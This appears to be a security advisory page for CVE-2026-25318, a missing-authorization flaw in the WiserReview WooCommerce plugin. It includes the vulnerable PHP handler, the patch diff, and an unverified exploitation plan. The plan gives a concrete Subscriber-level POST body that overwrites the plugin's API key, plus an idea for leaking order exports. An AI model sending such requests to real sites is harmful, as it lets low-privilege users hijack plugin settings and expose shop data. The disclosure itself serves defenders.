CVE-2026-25318

WiserReview Product Reviews for WooCommerce <= 2.9 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
3.0
Patched in
99d
Time to patch

Description

The WiserReview Product Reviews for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.9. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.9
PublishedJanuary 26, 2026
Last updatedMay 4, 2026
Affected pluginwiser-review

What Changed in the Fix

Changes introduced in v3.0

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Vulnerability Research Plan: CVE-2026-25318 (WiserReview Missing Authorization) ## Vulnerability Summary The WiserReview Product Reviews for WooCommerce plugin (versions <= 2.9) contains a missing authorization vulnerability within its AJAX settings saving mechanism. The function `wiserrw_ajax_sa…

Show full research plan

Vulnerability Research Plan: CVE-2026-25318 (WiserReview Missing Authorization)

Vulnerability Summary

The WiserReview Product Reviews for WooCommerce plugin (versions <= 2.9) contains a missing authorization vulnerability within its AJAX settings saving mechanism. The function wiserrw_ajax_save_settings is registered via the wp_ajax_ hook but lacks any capability checks (e.g., current_user_can('manage_options')) or nonce verification. This allows any authenticated user, including those with Subscriber-level permissions, to overwrite the plugin's configuration options.

Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wiserrw_save_settings
  • Method: POST
  • Parameters: wiserrw_data (An array of settings to be saved).
  • Required Authentication: Subscriber-level (or any logged-in user).
  • Vulnerability Type: Missing Authorization and Missing CSRF Protection.

Code Flow

  1. Entry Point: The AJAX action is registered in wiser-review.php:
    add_action( 'wp_ajax_wiserrw_save_settings', 'wiserrw_ajax_save_settings' );
    
  2. Vulnerable Function: The request is handled by wiserrw_ajax_save_settings() in wiser-review.php:
    function wiserrw_ajax_save_settings() {
        // No current_user_can() check here
        // No check_ajax_referer() or wp_verify_nonce() check here
        $wiserrw_data = isset( $_POST['wiserrw_data'] ) ? array_map( 'sanitize_text_field', wp_unslash( $_POST['wiserrw_data'] ) ) : array();
        update_option( 'wiserrw_api_settings', $wiserrw_data ); // SINK: Updates global plugin settings
    
        wp_send_json_success( array(
            'message' => 'Settings saved.',
            'saved'   => $wiserrw_data,
        ) );
    }
    
  3. Sink: The update_option function writes the user-provided array directly into the database option wiserrw_api_settings.

Nonce Acquisition Strategy

Analysis of wiserrw_ajax_save_settings() in wiser-review.php shows that no nonce is verified on the server side. Although wiser-review.php localizes a nonce named nonce (action: wiserrw_save_settings) and wiserrw_ajax_var.wiserrw_security (action: wiserrw_export_orders_nonce), the actual handler for wiserrw_save_settings fails to check it.

Conclusion: No nonce is required for exploitation.

Exploitation Strategy

  1. Authentication: Log in as a Subscriber user to obtain a session cookie.
  2. Payload Construction: Create a POST request with the action set to wiserrw_save_settings and wiserrw_data containing arbitrary configuration values.
  3. Request Details:
    • URL: http://localhost:8888/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body: action=wiserrw_save_settings&wiserrw_data[wiserrw_api_key]=PWNED_API_KEY&wiserrw_data[wiserrw_live_mode_checkbox]=1
  4. Tool: Use http_request (Playwright) to send the authenticated POST request.

Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  2. Initial State Check:
    wp option get wiserrw_api_settings
    
    (Note: This might be empty or return an error if not set yet).

Expected Results

  • The server should respond with a JSON success message: {"success":true,"data":{"message":"Settings saved.","saved":{"wiserrw_api_key":"PWNED_API_KEY","wiserrw_live_mode_checkbox":"1"}}}.
  • The wiserrw_api_settings option in the WordPress database will be updated with the malicious values.

Verification Steps

  1. Database Check: Run the following WP-CLI command to verify the option was changed:
    wp option get wiserrw_api_settings --format=json
    
    Expect output: {"wiserrw_api_key":"PWNED_API_KEY","wiserrw_live_mode_checkbox":"1"}.

Alternative Approaches

If the plugin validates the keys within the wiserrw_data array (though the source code doesn't show this), attempt to use existing keys identified from the plugin's frontend or JS:

  • wiserrw_product_review_enabled
  • wiserrw_product_card_enabled
  • wiserrw_duration

If the wiserrw_export_orders action also lacks authorization, it could be used to leak order information. That function is mentioned in the JS:

  • Action: wiserrw_export_orders
  • Security Check: wiserrw_security (Nonce action: wiserrw_export_orders_nonce).
  • Strategy: If this handler also lacks current_user_can, find where wiserrw_export_orders_nonce is exposed (likely the admin settings page), extract it via browser_eval, and trigger an export. However, the primary target is the settings overwrite as it is a direct "Missing Authorization" on a critical function.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WiserReview Product Reviews for WooCommerce plugin (up to version 2.9) fails to implement capability checks or nonce verification in its AJAX settings saving handler. This allows any authenticated user, including those with low-level Subscriber permissions, to overwrite the plugin's global configuration and API settings.

Vulnerable Code

// wiser-review.php:59
function wiserrw_ajax_save_settings() {
	$wiserrw_data = isset( $_POST['wiserrw_data'] ) ? array_map( 'sanitize_text_field', wp_unslash( $_POST['wiserrw_data'] ) ) : array();
	update_option( 'wiserrw_api_settings', $wiserrw_data );

	wp_send_json_success( array(
		'message' => 'Settings saved.',
		'saved'   => $wiserrw_data,
	) );
}
add_action( 'wp_ajax_wiserrw_save_settings', 'wiserrw_ajax_save_settings' );

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wiser-review/2.9/assets/js/wiserw-js.js /home/deploy/wp-safety.org/data/plugin-versions/wiser-review/3.0/assets/js/wiserw-js.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wiser-review/2.9/assets/js/wiserw-js.js	2025-10-16 20:08:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wiser-review/3.0/assets/js/wiserw-js.js	2026-02-03 06:00:56.000000000 +0000
@@ -105,7 +105,7 @@
         $.ajax({
             type : 'POST',
             url : ajaxurl,
-            data : $form.serialize() + '&action=wiserrw_save_settings',
+            data : $form.serialize() + '&action=wiserrw_save_settings&nonce=' + wiserrw_ajax_var.nonce,
             success: function (res) {
                 const $toggle = $current_chek.closest('.wiserrw_toggle');
                 let $msg = $toggle.find('.wiserrw_saved_msg');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wiser-review/2.9/wiser-review.php /home/deploy/wp-safety.org/data/plugin-versions/wiser-review/3.0/wiser-review.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wiser-review/2.9/wiser-review.php	2025-11-19 14:08:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wiser-review/3.0/wiser-review.php	2026-02-03 06:00:56.000000000 +0000
@@ -57,6 +57,20 @@
 add_action( 'admin_enqueue_scripts', 'wiserrw_scripts' );
 
 function wiserrw_ajax_save_settings() {
+	// Verify nonce for security
+	if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ) ), 'wiserrw_save_settings' ) ) {
+		wp_send_json_error( array(
+			'message' => 'Security check failed.',
+		), 403 );
+	}
+
+	// Check user capabilities
+	if ( ! current_user_can( 'manage_options' ) ) {
+		wp_send_json_error( array(
+			'message' => 'Unauthorized access.',
+		), 403 );
+	}
+
 	$wiserrw_data = isset( $_POST['wiserrw_data'] ) ? array_map( 'sanitize_text_field', wp_unslash( $_POST['wiserrw_data'] ) ) : array();
 	update_option( 'wiserrw_api_settings', $wiserrw_data );

Exploit Outline

To exploit this vulnerability, an attacker first logs into the WordPress site with any authenticated account (e.g., a Subscriber). They then issue a POST request to the `/wp-admin/admin-ajax.php` endpoint with the `action` parameter set to `wiserrw_save_settings`. The payload should include a `wiserrw_data` array containing malicious configuration values, such as a custom `wiserrw_api_key`. Since the server-side function `wiserrw_ajax_save_settings` does not check for user capabilities or verify a security nonce, the plugin's global option `wiserrw_api_settings` will be updated with the attacker-supplied data, effectively hijacking the plugin's connection to the WiserReview platform.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.